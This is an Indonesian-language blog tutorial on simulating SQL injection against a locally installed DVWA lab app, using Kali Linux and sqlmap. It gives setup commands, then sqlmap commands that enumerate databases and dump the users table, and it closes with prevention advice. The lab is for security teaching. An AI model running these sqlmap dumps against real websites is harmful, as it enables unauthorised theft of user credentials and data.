Simulasi Penyerangan Database Menggunakan Kali Linux

⚠️ Disclaimer
Simulasi ini hanya boleh dilakukan di lingkungan lokal (localhost) untuk tujuan pembelajaran. Jangan pernah melakukan ini di sistem yang tidak kamu miliki izin penuh.
🎯 Tujuan Simulasi
Mempelajari bagaimana SQL Injection bekerja
Menggunakan
sqlmap
untuk menguji kerentanan databaseMenunjukkan pentingnya validasi input dan pengamanan query di backend
🧰 Tools yang Digunakan
Kali Linux
XAMPP / Apache + MySQL (server lokal)
sqlmap
(sudah tersedia di Kali Linux)Aplikasi web rentan: DVWA (Damn Vulnerable Web Application)
🏗️ Langkah-Langkah Praktikum
1. Install DVWA di Mesin Target (localhost)
Di Kali atau Ubuntu server:
sudo apt update
sudo apt install apache2 mariadb-server php php-mysqli git -y
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA
2. Konfigurasi Database DVWA
sudo mysql -u root
Di prompt MySQL:
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
Edit file DVWA/config/
config.inc
.php
:
$_DVWA[ 'db_user' ] = 'dvwauser';
$_DVWA[ 'db_password' ] = 'dvwapass';
3. Jalankan Apache dan MySQL
sudo systemctl start apache2
sudo systemctl start mysql
Akses DVWA di browser:
http://localhost/DVWA/setup.php
Klik Create / Reset Database.
Set Security Level ke "Low".
🧪 Simulasi Serangan SQL Injection
1. Akses Target
Cek halaman login atau halaman dengan parameter GET (misal: id=1
):
http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
2. Jalankan sqlmap
Buka terminal di Kali Linux dan jalankan:
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=..." --dbs
📝 Ganti
PHPSESSID=...
dengan session cookie dari browser.
sqlmap
akan mendeteksi dan menampilkan database yang tersedia.
3. Dump Isi Database
Setelah tahu nama databasenya, misalnya dvwa
, lakukan dump tabel:
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump
🔍 Hasil yang Didapat
Nama-nama database dan tabel terbuka
Data user seperti username dan password berhasil diambil
Menunjukkan betapa berbahayanya input tanpa filter
🛡️ Tindakan Pencegahan
Gunakan prepared statements di backend.
Validasi semua input dari user.
Jangan tampilkan error SQL ke user.
Gunakan WAF (Web Application Firewall).
Selalu update dan patch sistem.
✅ Kesimpulan
Simulasi ini menunjukkan betapa mudahnya database bisa diretas jika:
Tidak ada sanitasi input
Aplikasi tidak aman
Sistem terlalu terbuka
💡 Praktikum ini bukan hanya tentang menyerang, tapi membuka mata bahwa keamanan web dan database adalah tanggung jawab utama developer & sysadmin.
Subscribe to my newsletter
Read articles from Hasan Amin directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
